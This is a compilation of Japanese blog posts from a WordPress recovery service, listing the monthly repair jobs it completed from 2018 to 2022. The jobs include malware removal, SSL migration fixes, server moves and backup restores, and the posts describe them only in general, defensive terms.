- データベースのバックアップはあるか
- 自動か手動のバックアップか
- 過去何日分のバックアップがあるか
- バックアップデータはほしい時にどのように手に入れるか

## ワードプレスのバックアップのタイミング

- ワードプレスのバックアップに限らずですが、XSERVERでは手動でバックアップを取りたい時に手動でとれます。なにか設定を変える直前にワードプレスのバックアップを取ることをおすすめします。
    ワードプレスのアップグデート
- ワードプレスプラグインのアップデート
- テーマファイルの大幅な修正

## バックアップから復元への手順を確認

**カテゴリー:** ワードプレスTIPS

---

### [2018年4月のワードプレス復旧依頼の実績。](https://wp-r.com/wprescue/201804/)

**Published:** 5月 4, 2018
**Author:** ワードプレスレスキュー

**Content:**

7社から13ドメイン分のご依頼をいただきました。今年になり、ワードプレスの改ざんの相談も多くなってきております。似たような手口です。4月に頂いたワードプレスの修復依頼も全て受任してから2時間以内の復旧でした。とくにアフィリエイター様等はダウンタイムがそのまま損出に成ってしまうので、いち早い復旧を心がけております。

今回お受けしたワードプレスの修復依頼の主な内容は下記の通りです。
・ワードプレス改ざんウィルスの除去
・PHPの関数エラーによるテーマの修正
・サーバー移行時の失敗による復旧
・サーバー側の設定ミスによるデータ消失。バックアップからリストア
・PHPの記述間違によるサイトダウン
・.htaccessの記述によるエラー修正、ループ処理の修正

ワードプレスの修復・復旧依頼頂いた皆様ありがとうございました。

**カテゴリー:** ワードプレス復旧実績

---

### [2018年5月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/201805/)

**Published:** 6月 1, 2018
**Author:** ワードプレスレスキュー

**Content:**

10社から16ドメイン分のご依頼をいただきました。ありがとうございました。先月からワードプレスにウィルスを仕込まれて、内容が改ざんされる場合、直接アクセスすると問題ないが、検索エンジンからアクセスがくると、別の詐欺サイトに飛ばされる現象が多くなっています。Analyticsなどをしっかりと見ていない限り、なかなか気づかない現象です。今月からサポート期間が長くなりました。

今回お受けしたワードプレスの修復依頼の主な内容は下記の通りです。
・サーチコンソールの乗っ取り、修復フォロー
・バックアップの適切な処理
・ワードプレス改ざんウィルスの除去
・PHPの関数エラーによるテーマの修正
・サーバー移行時の失敗による復旧
・サーバー側の設定ミスによるデータ消失。バックアップからリストア
・PHPの記述間違によるサイトダウン
・.htaccessの記述によるエラー修正、ループ処理の修正
・古いプラグインが原因で、ワードプレスをアップデートしたら壊れて、修復

**カテゴリー:** ワードプレス復旧実績

---

### [2018年6 月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/201806/)

**Published:** 7月 1, 2018
**Author:** ワードプレスレスキュー

**Content:**

12社から12ドメイン分のご依頼をいただきました。ありがとうございました。今月も、ワードプレスのウィルス関連も多かったのですが、同じく多くなっている傾向としてSSL化の失敗が出てきました。

ワードプレスのSSL化は、内容が正しい、正しくないは別としてネットにいろいろと情報が載っておりますが、ワードプレスのURLを管理画面から変更したり、ツールを使ってデータベースの中のURLを一括で変えるために、とても慎重な作業が求められます。かならず、バックアップ（ファイル・データベース）を取ってからの、作業をおすすめします。

今回お受けしたワードプレスの修復依頼の主な内容は下記の通りです。
・.htaccessの記述によるエラー修正、ループ処理の修正
・SSL化の失敗によるワードプレスの再構築
・SSL化時のサイトアドレスの設定ミス
・ウィルス関係の駆除
・バージョンアップによるエラー修復
・データーベースの破損による、障害の復旧
・PHPのバージョンが低いため、バージョンアップ時のサイトの停止。

**カテゴリー:** ワードプレス復旧実績

---

### [2018年7月・8月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/201807-08/)

**Published:** 9月 27, 2018
**Author:** ワードプレスレスキュー

**Content:**

21社から22ドメイン分のご依頼をいただきました。ありがとうございました。今月も、引き続きワードプレスのウィルス関連の依頼が多くいただきました。ワードプレスのSSL化は待った無しの状況ですので、こちらの内容も引き続きご相談・ご依頼が多くいただきました。

・マルウェア指摘による調査、復旧
・ウィルス関係の駆除
・外部指摘によるSQLインジェクションの抜本的対策
・SSL化の失敗によるワードプレスの再構築
・SSL化時のサイトアドレスの設定ミス
・バージョンアップによるエラー修復
・データーベースの破損による、障害の復旧
・PHPのバージョンが低いため、バージョンアップ時のサイトの停止。
・デザイン会社様サーバー移転失敗による修復、移転作業

**カテゴリー:** ワードプレス復旧実績

---

### [2018年9月・10月・11月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/2018-09-10-11/)

**Published:** 12月 3, 2018
**Author:** ワードプレスレスキュー

**Content:**

30社から37ドメイン分のご依頼をいただきました。ありがとうございました。今月も、引き続きワードプレスのウィルス関連の依頼が多くいただきました。ワードプレスのサーバの移動や・移管作業も行っております。外国のレンタルサーバーでも対応しておりますので、お気軽にまずはご相談ください。

・マルウェア指摘による調査、復旧
・データベースのテーブルの欠損の対応
・外国共有サーバーでの修復対応
・ワードプレスのサーバー移動
・プラグインエラーの修復
・新サーバーへのPHP設定の助言
・ウィルス関係の駆除
・外部指摘によるSQLインジェクションの抜本的対策
・バージョンアップによるエラー修復
・データーベースの破損による、障害の復旧
・PHPのバージョンが低いため、バージョンアップ時のサイトの停止。
・制作会社様サーバー移転失敗による修復、移転作業

**カテゴリー:** ワードプレス復旧実績

---

### [2018年12月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/201812/)

**Published:** 1月 8, 2019
**Author:** ワードプレスレスキュー

**Content:**

7社7ドメイン分ご依頼をいただき、すべて100%復旧ができました。相変わらずワードプレスがウィルス関連に汚染されている依頼が来ます。不思議なのがほとんどが同一サーバー会社だということですが、内容をいる限りサーバー会社のセキュリティ-がが甘いとかではなく、ただたんに利用している人が多いだけかもしれません。

- マルウェア指摘による調査、復旧
- データベースのテーブルの欠損の対応
- ウィルス関係の駆除
- データーベースの破損による、障害の復旧
- PHPとワードプレスのバージョン不具合の調節
- サーバー移転失敗による修復、移転作業
- ワードプレスプラグインエラーの修復

**カテゴリー:** ワードプレス復旧実績

---

### [2019年1月～3月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/201901-03/)

**Published:** 4月 2, 2019
**Author:** ワードプレスレスキュー

**Content:**

15社43ドメイン分のご依頼・ご相談をお受けいたしました。案件が重なりお断りさせていただいたお客様、大変申し訳ありません。ワードプレスを完全にバックアップをとるためには、プラグインでお取りすることをオススメいたします。一部間違ったご認識で行っている方もいらっしゃいました。エクスポート機能ではしっかりとバックアップは取れませんので、お気をつけください。バックアップのご相談もお受けしております。

今回お受けしたワードプレスの修復依頼の主な内容は下記の通りです。

- SSL化の失敗によるワードプレスの再構築
- SSL化時のサイトアドレスの設定ミス
- サーバー移動の失敗（SSL関連）対応
- データーベース（MySql）破損による、修復。
- ウィルス駆除
- バックアップ設定
- データ救出
- PHPのバージョンが低いため、バージョンアップ時のサイトの停止。
- ワードプレス全体的な500エラ－の修復

**カテゴリー:** ワードプレス復旧実績

---

### [2019年4月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/201904/)

**Published:** 5月 4, 2019
**Author:** ワードプレスレスキュー

**Content:**

8社・25ドメイン（ワードプレス）ご依頼をいただきました。すべて100％復旧させていただいております。ご依頼ありがとうございました。

・XSERVERにマルウェアがが仕込まれ、駆除、ワードプレスの構築し直しアカウト凍結解除まで対応
・サーバーの移動失敗。データが大きすぎて、プラグインが止まってしまった（サーバースペック要因）
・PHP7へのバージョンアップによるエラーの対応
・プラグインエラー
・ワードプレスSSL化の失敗による、管理画面へのアクセス喪失の復旧
・テーマ更新によるデザインの崩れの修正
・バックアップデータによる復旧依頼、正しくバックアップ再設定

**カテゴリー:** ワードプレス復旧実績

---

### [2019年5月・6月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/201905-06/)

**Published:** 7月 5, 2019
**Author:** ワードプレスレスキュー

**Content:**

## ワードプレスの復旧・修復依頼の実績です。

13社・40ドメイン（ワードプレス+α）ご依頼をいただきました。すべて100％復旧させていただいております。ご依頼ありがとうございました。マルウェア関連の依頼が日に日に多く頂いております。対策としては、きっちりとしたバックアップ、プラグイン・テーマ・ワードプレスのコアファイルはこまめに最新のものに更新することをおすすめします。

・バックアップデータによる復旧依頼、正しくバックアップ再設定
・XSERVERにマルウェアがが仕込まれ、駆除、ワードプレスの構築し直しアカウト凍結解除まで対応
・サーバーの移動失敗。データが大きすぎて、プラグインが止まってしまった（サーバースペック、ファイルサイズ要因）
・PHP7へのバージョンアップによるエラーの対応
・ワードプレスSSL化の失敗による、管理画面へのアクセス喪失の復旧
・サーバーのバックアップ依頼
・共有サーバーの再設定依頼
・Adwords経由のページがXSERVERのWAFに反応してしまいページが403エラー出してしまう現象対策。

**カテゴリー:** ワードプレス復旧実績

---

### [2019年7月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/201907/)

**Published:** 8月 5, 2019
**Author:** ワードプレスレスキュー

**Content:**

## ワードプレスの復旧・修復依頼の実績です。「2019年7月」

11社・15ドメイン（ワードプレス+α）ご依頼をいただきました。すべて100％復旧させていただいております。今回は1件どうしても原因がわからず、断念しそうでしたがどうにか100%ワードプレスの復旧できました。ご依頼ありがとうございました。マルウェア関連の依頼が日に日に多く頂いております。対策としては、きっちりとしたバックアップ、プラグイン・テーマ・ワードプレスのコアファイルはこまめに最新のものに更新することをおすすめします。

・大量にピンバックが発生してしまう現象の対処、Apatcheログ解析
・制作会社様へのワードプレスの運用、セキュリティー、バックアップの講習会講師
・サーバーのセキュリティー設定
・ワードプレスの常時SSL化の依頼
・KUSANAGIの調節
・ワードプレスバックアップ失敗によるエラーの解消
・ワードプレスバックアップデータによる復旧依頼、正しくバックアップ再設定
・XSERVERにマルウェアがが仕込まれ、駆除、ワードプレスの構築し直しアカウト凍結解除まで対応
・ワードプレスSSL化の失敗による、管理画面へのアクセス喪失の復旧
・サーバーのバックアップ依頼
・PHP7へのバージョンアップによるワードプレスエラーの対応

**カテゴリー:** ワードプレス復旧実績

---

### [2019年8月・9月のワードプレス復旧・修復依頼の実績](https://wp-r.com/wprescue/2019-08-19/)

**Published:** 10月 2, 2019
**Author:** ワードプレスレスキュー

**Content:**

## ワードプレスの復旧・修復依頼の実績です。「2019年8月・9月」

20社・22ドメイン（ワードプレス+α）ご依頼をいただきました。すべて100％復旧させていただいております。フリーランサーから大企業までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。

- 一部のサーバーのみアクセスが拒否される
- ワードプレスの運用、セキュリティー、バックアップのオンライン講習会
- サーバーのセキュリティー設定、確認、レクチャー
- DB破損、設定間違えによる修復
- ワードプレスのログインができない状態の復旧
- XSERVERにマルウェアがが仕込まれ、駆除、ワードプレスの再構築、アカウト凍結解除まで対応
- KUSANAGI障害の復旧
- ワードプレスのバージョンアップができない現象の対応
- 大量のデータのバックアップ設定
- 画面が真っ白な状態の復旧
- SSL、DNSのご設定からの復旧
- VPSの再構築、調節
- ワードププレスのキャッシュエラーによる復旧
- PHP7へのテーマ対応（バージョンアップによるエラー対応）
- ワードプレスのサーバー移動の失敗による復旧作業

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復依頼の実績です。「2019年10月・11月・12月」](https://wp-r.com/wprescue/2019-10-11-12/)

**Published:** 1月 7, 2020
**Author:** ワードプレスレスキュー

**Content:**

## ワードプレスの復旧・修復依頼の実績です。「2019年10月・11月・12月」

25社・28ドメインからご依頼を戴きました。（ワードプレス以外にVPS・AWS障害含む）。個人の方、制作会社、大手企業様と幅広くワードプレス復旧のご依頼を戴き、ありがとうございました。すべて100%復旧させていただきました。ワードプレスレスキューでは、ワードプレスの復旧以外にもワードプレスの保守もお受けしておりますので、気軽にお問い合わせくださいませ。

- 一部のサーバーのみアクセスが拒否される
- ワードプレスの運用、セキュリティー、バックアップのオンライン講習会
- サーバーのセキュリティー設定、確認、レクチャー
- DB破損、設定間違えによる修復
- ワードプレスのログインができない状態の復旧
- XSERVERにマルウェアがが仕込まれ、駆除、ワードプレスの再構築、アカウト凍結解除まで対応
- KUSANAGI障害の復旧
- AWSの障害復旧
- ワードプレスのバージョンアップができない現象の対応
- 大量のデータのバックアップ設定
- 画面が真っ白な状態の復旧
- SSL、DNSのご設定からの復旧
- VPSの再構築、調節
- ワードププレスのキャッシュエラーによる復旧
- PHP7へのテーマ対応（バージョンアップによるエラー対応）
- ワードプレスのサーバー移動の失敗による復旧作業
- ログイン情報は正しいのに、ログインができない。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復依頼の実績です。「2020年1月・2月」](https://wp-r.com/wprescue/202001-02/)

**Published:** 3月 5, 2020
**Author:** ワードプレスレスキュー

**Content:**

## ワードプレスの復旧・修復依頼の実績です。「2020年1月・2月」

20社・32ドメインからご依頼を戴きました。（ワードプレス以外にVPS・AWS障害、仮想スイッチ緊急の設定変更・ADサーバー構築含む）。年明け早々、個人の方、制作会社、大手企業様と幅広くワードプレス復旧のご依頼を戴き、ありがとうございました。すべて100%復旧させていただきました。あいかわらず、某サーバー会社のマルウェア感染は多いです。（サーバー会社が原因ではありません。）ワードプレスレスキューでは、ワードプレスの復旧以外にもワードプレスの保守もお受けしておりますので、気軽にお問い合わせくださいませ。アップデート管理は大丈夫ですか？

- ワードプレスインストール先の誤設定からの復旧
- PHP7へのテーマ対応（バージョンアップによるエラー対応）
- サーバー内のワードプレス削除後の助言（未受任）
- ワードプレスのサーバー移動の失敗による復旧作業
- ワードプレスの運用、セキュリティー、バックアップのオンライン講習会
- サーバーのセキュリティー設定、確認、レクチャー
- ワードプレスのログインができない状態の復旧
- マルウェアがが仕込まれ、駆除、ワードプレスの再構築、アカウト凍結解除まで対応
- VPN構築・ADサーバー構築
- AWSの障害復旧
- ワードプレスのバージョンアップができない障害対応
- 大量のデータのバックアップ設定
- SSL、DNSのご設定からの復旧
- VPSの再構築、調節
- ワードププレスのキャッシュエラーによる復旧
- ログイン情報は正しいのに、ログインができない。
- 画面が真っ白な状態の復旧

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復依頼の実績です。「2020年3月・4月」](https://wp-r.com/wprescue/202003-04/)

**Published:** 5月 10, 2020
**Author:** ワードプレスレスキュー

**Content:**

18社・20ドメイン（ワードプレス+α）ご依頼をいただきました。すべて100％復旧させていただいております。フリーランサーから大企業までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。

- 一部のインターネット環境からワードプレスが見れない
- テーマに脆弱性があるためにマルウェアが仕込まれた
- XSERVERにマルウェアがが仕込まれ、駆除、ワードプレスの再構築、アカウト凍結解除まで対応
- SSL化の失敗
- サーバーの設定とワードプレスの誤設定からの復旧
- ワードプレスの運用、セキュリティー、バックアップのオンライン講習会
- ワードプレスのサイトが更新、新規投稿ができなくる不具合の復旧
- ワードプレスの管理画面のあみアクセス不可からの復旧
- ２段階認証でログインできくなり、復旧・再設定
- PHP7へのテーマ対応（バージョンアップによるエラー対応）
- ワードプレスのサーバー移動の失敗による復旧作業
- サーバーのセキュリティー設定、確認、レクチャー
- DB破損、設定間違えによる修復
- ワードプレスのログインができない状態の復旧
- VPSの再構築、調節（ワードプレス外）
- マルウェアによりAdwordの承認がおりない（ワードプレス以外の要因）

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復依頼の実績です。「2020年5月」](https://wp-r.com/wprescue/202005/)

**Published:** 5月 30, 2020
**Author:** ワードプレスレスキュー

**Content:**

10社・10ドメイン（ワードプレス+α）ご依頼をいただきました。すべて100％復旧させていただいております。フリーランサーから大企業までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。近日ワードプレス構築チェックシートの販売を開始いたします。

## ワードプレス（WordPress）の復旧・復帰内容

- 一部のインターネット環境からワードプレスが見れない
- 画像データ喪失の修復、復旧
- ユーザ変更失敗による修復、復旧
- マルウェアによりAdwordの承認がおりない（ワードプレス以外の要因）
- テーマに脆弱性があるためにマルウェアが仕込まれた
- レンタルサーバーの/tmp/のディスク容量によるサイト停止対応
- プログラム動作失敗による、大量のログ発生の不具合、調節
- SSL化の失敗
- VPSの再構築、調節（ワードプレス外）
- サーバーの設定とワードプレスの誤設定からの復旧
- ワードプレスの運用、セキュリティー、バックアップのオンライン講習会
- ワードプレスのサイトが更新、新規投稿ができなくる不具合の復旧
- PHP7へのテーマ対応（バージョンアップによるエラー対応）
- ワードプレスのサーバー移動の失敗による復旧作業
- サーバーのセキュリティー設定、確認、レクチャー

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2020年6月・7月」](https://wp-r.com/wprescue/202006-07/)

**Published:** 7月 31, 2020
**Author:** ワードプレスレスキュー

**Content:**

15社・40ドメイン（ワードプレス）ご依頼をいただきました。すべて100％トラブルから復旧させていただいております。WEB制作会社様、アフィリエイター様、フリーランサー様から大企業までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。

## ワードプレス（WordPress）の復旧・復帰内容

- 一部のインターネット環境からワードプレスが見れない
- サーバーコントロールパネルソフトの障害
- プラグインのアップデート失敗、プログラム破損
- 画像データ喪失の修復、復旧
- ユーザ変更失敗による修復、復旧
- テーマに脆弱性があるためにマルウェアが仕込まれた
- プログラム動作失敗による、大量のログ発生の不具合、調節
- SSL化の失敗
- MakeShopのWordPress連携サーバーの設定とワードプレスの誤設定からの復旧
- ワードプレスの運用、セキュリティー、バックアップのオンライン講習会
- ワードプレスのサイトが更新、新規投稿ができなくる不具合の復旧
- PHP7へのテーマ対応（バージョンアップによるエラー対応）
- サーバーのセキュリティー設定、確認、レクチャー

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2020年８月～１0月」](https://wp-r.com/wprescue/202008-10/)

**Published:** 10月 30, 2020
**Author:** ワードプレスレスキュー

**Content:**

25社・29ドメイン（ワードプレス）ご依頼をいただきました。1件のみデータ不備でお断りしましましたが、すべて100％復旧させていただいております。今回は、久々にワードプレスのマルウェアの除去とセキュリティー対策の依頼が目立ちました。**WEB制作会社様、アフィリエイター様、フリーランサー様から上場企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。

## ワードプレス（WordPress）の復旧・復帰内容

- テーマの脆弱性からのマルウェアの侵入、除去
- プラグインの脆弱性からのマルウェアの侵入、除去
- プラグインのアップデート失敗、プログラム破損
- バックアップデータからのワードプレスの復旧
- ワードプレスのアップデート失敗による復旧
- 複数データのマージ
- AWSからのXSERVERへのサーバー移動
- KUSANAGIの初期設定ミスによるVPSの復旧
- サーバー側PHP、メモリー関係の調節不備による障害からの復旧
- ワードプレスの運用、セキュリティー、バックアップのオンライン講習会
- ワードプレスのサイトが更新、新規投稿ができなくる不具合の復旧
- PHP7へのテーマ対応（バージョンアップによるエラー対応）
- サーバーのセキュリティー設定、確認、レクチャー

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2020年11月～2021年3月」](https://wp-r.com/wprescue/2020-11-12-2021-01-02-03/)

**Published:** 3月 31, 2021
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。ワードウレスの復旧やアップデート、マルウェア対策のご依頼をたくさんいただきまして、詳細な復旧実績をまとめることができていない状態です。3件のデータ不備でお断りしましましたが、すべて100％復旧させていただいております。今回は、久々にワードプレスのマルウェアの除去とセキュリティー対策の依頼が目立ちました。**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、上場企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。ワードプレスのキュリティ-チェックもお受けしておりますので、お気軽にお問い合わせください。

## ワードプレス（WordPress）の復旧・復帰内容

- テーマの脆弱性からのマルウェアの侵入、除去
- プラグインの脆弱性からのマルウェアの侵入、除去
- XSERVERアカウント凍結の解除
- 各種サーバーからワードプレスのサーバー移動や移管
- ワードプレスのアップデートなどのテスト環境の作成
- プラグインのアップデート失敗、プログラム破損
- バックアップデータからのワードプレスの復旧
- ワードプレスのアップデート失敗による復旧
- KUSANAGIの初期設定ミスによるVPSの復旧
- VPSの調節（ワードプレスレスキューとは別件）
- ワードプレスの運用、セキュリティー、バックアップのオンライン講習会
- ワードプレスのサイトが更新、新規投稿ができなくる不具合の復旧
- PHP7へのテーマ対応（バージョンアップによるエラー対応）
- サーバーのセキュリティー設定、確認、レクチャー

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2021年4月」](https://wp-r.com/wprescue/202104/)

**Published:** 5月 10, 2021
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。すべて100％復旧させていただいております。引き続き、ワードプレスのマルウェアの除去とセキュリティー対策の依頼が多い状況です。最近のマルウェアは、プラグイン経由でワードプレス組み込まれ、巧妙にできており、管理者が気づかない場合がおおく、外部からの指摘で気づいた入りします。ワードプレスのセキュリティーチェックは重要です。

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、上場企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。

## ワードプレス（WordPress）の復旧・復帰内容

- テーマの脆弱性からのマルウェアの侵入、除去
- プラグインの脆弱性からのマルウェアの侵入、除去
- XSERVERアカウント凍結の解除
- 各種サーバーからワードプレスのサーバー移動や移管
- ワードプレスのアップデートなどのテスト環境の作成
- プラグインのアップデート失敗、プログラム破損
- バックアップデータからのワードプレスの復旧
- ワードプレスのアップデート失敗による復旧
- ワードプレスの運用、セキュリティー、バックアップのオンライン講習会
- ワードプレスのサイトが更新、新規投稿ができなくる不具合の復旧
- PHP7へのテーマ対応（バージョンアップによるエラー対応）
- サーバーのセキュリティー設定、確認、レクチャー

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2021年5月・6月」](https://wp-r.com/wprescue/2021-05-06/)

**Published:** 7月 3, 2021
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。1件は問い合わせ後受任できず、それ以外はすべて100％復旧させていただいております。引き続き、ワードプレスのマルウェアの除去とセキュリティー対策の依頼が多い状況です。最近のマルウェアは、プラグイン経由でワードプレス組み込まれ、巧妙にできており、管理者が気づかない場合がおおく、外部からの指摘で気づいた入りします。ワードプレスのセキュリティーチェックは重要です。

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、上場企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください

## ワードプレス（WordPress）の復旧・復帰・トラブル解決内容

### ワードプレスのテーマの脆弱性からのマルウェアの侵入、除去

### ワードプレスのテーマのプログラム修正

### ワードプレスのプラグインの脆弱性からのマルウェアの侵入のトラブル、除去

### 古いサーバーからのワードプレスのサーバー移動や移管

### ワードプレスのアップデートなどのテスト環境の作成

### AWSのCDN・LBの再設定

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### バックアップデータからのワードプレスの復旧

### ワードプレスのアップデート失敗による復旧

### ワードプレスの運用、セキュリティー、バックアップのオンライン講習会

### サーバーのセキュリティー設定、確認、レクチャー

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2021年7月・8月・9月」](https://wp-r.com/wprescue/2021-07-08-09/)

**Published:** 10月 13, 2021
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。数件は納期の問題や、サーバーの仕様の問題で問い合わせ後受任できず、それ以外はすべてワードプレスを100％復旧させていただいております。引き続き、ワードプレスのマルウェアの除去とセキュリティー対策の依頼が多い状況です。最近のマルウェアは、プラグイン経由でワードプレス組み込まれ、巧妙にできており、管理者が気づかない場合がおおく、外部からの指摘で気づいた入りします。ワードプレスのセキュリティーチェックは重要です。以前は良くxserver（エックスサーバー）は、ワードプレスにマルウェアが仕込まれて、いると容赦なくアカウントを一時的に停止されておりましたが、最近はすぐすぐには停止にならないようです。

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、上場企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください

## ワードプレス（WordPress）の復旧・復帰・トラブル解決内容

### ワードプレスのテーマの脆弱性からのマルウェアの侵入、除去

### ワードプレスのテーマのプログラム修正

### ワードプレスのプラグインの脆弱性からのマルウェアの侵入のトラブル、除去

### 古いサーバーからのワードプレスのサーバー移動や移管

### ワードプレスのアップデートなどのテスト環境の作成

### AWSのCDN・LBの再設定

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### バックアップデータからのワードプレスの復旧

### ワードプレスのアップデート失敗による復旧

### ワードプレスの運用、セキュリティー、バックアップのオンライン講習会

### サーバーのセキュリティー設定、確認、レクチャー

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2021年10月」](https://wp-r.com/wprescue/202111-12-2/)

**Published:** 11月 10, 2021
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。すべてワードプレスを100％復旧させていただいております。引き続き、ワードプレスのマルウェアの除去とセキュリティー対策の依頼が多い状況です。最近のマルウェアは、プラグイン経由でワードプレス組み込まれ、巧妙にできており、管理者が気づかない場合が多く、外部からの指摘で気づいた入りします。ワードプレスのセキュリティーチェックは重要です。以前は良くxserver（エックスサーバー）は、ワードプレスにマルウェアが仕込まれて、いると容赦なくアカウントを一時的に停止されておりましたが、最近はすぐすぐには停止にならないようです。

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、上場企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください

## ワードプレス（WordPress）の復旧・復帰・トラブル解決内容

### ワードプレスのテーマの脆弱性からのマルウェアの侵入、除去

### ワードプレスのテーマのプログラム修正

### ワードプレスのプラグインの脆弱性からのマルウェアの侵入のトラブル、除去

### 古いサーバーからのワードプレスのサーバー移動や移管

### ワードプレスのアップデートなどのテスト環境の作成

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### バックアップデータからのワードプレスの復旧

### ワードプレスのアップデート失敗による復旧

### ワードプレスの運用、セキュリティー、バックアップのオンライン講習会

### サーバーのセキュリティー設定、確認、レクチャー

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2021年11月・12月」](https://wp-r.com/wprescue/202111-12/)

**Published:** 12月 31, 2021
**Author:** ワードプレスレスキュー

**Content:**

多数のお客様からご依頼をいただきました。すべてワードプレスを100％復旧させていただいております。All in one SEOの深刻な脆弱性や、プラグインがアップデートされていないばかりに、マルウェアが仕込まれる案件は、以前と引き続き多いです。マルウェアは、プラグイン経由でワードプレス組み込まれ、巧妙にできており、管理者が気づかない場合が多く、外部からの指摘で気づいた入りします。ワードプレスのセキュリティーチェックは重要です。以前は良くxserver（エックスサーバー）は、ワードプレスにマルウェアが仕込まれて、いると容赦なくアカウントを一時的に停止されておりましたが、最近はすぐすぐには停止にならないようです。

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、上場企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください

## ワードプレス（WordPress）の復旧・復帰・トラブル解決内容

### ワードプレスのテーマの脆弱性からのマルウェアの侵入、除去

### ワードプレスのテーマのプログラム修正

### ワードプレスのプラグインの脆弱性からのマルウェアの侵入のトラブル、除去

### 古いサーバーからのワードプレスのサーバー移動や移管

### ワードプレスのアップデートなどのテスト環境の作成

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### バックアップデータからのワードプレスの復旧

### サーバーのセキュリティー設定、確認、バックアップについての2121レクチャー

ご依頼ありがとうございました。ワードプレスレスキューは、土日も受付ではなく、対応もしております。

**カテゴリー:** ワードプレス復旧実績

---

### [ワードプレスの復旧・修復・トラブル依頼の実績です。「2022年1月・2月・3月」](https://wp-r.com/wprescue/202201-02-03/)

**Published:** 4月 5, 2022
**Author:** ワードプレスレスキュー

**Content:**

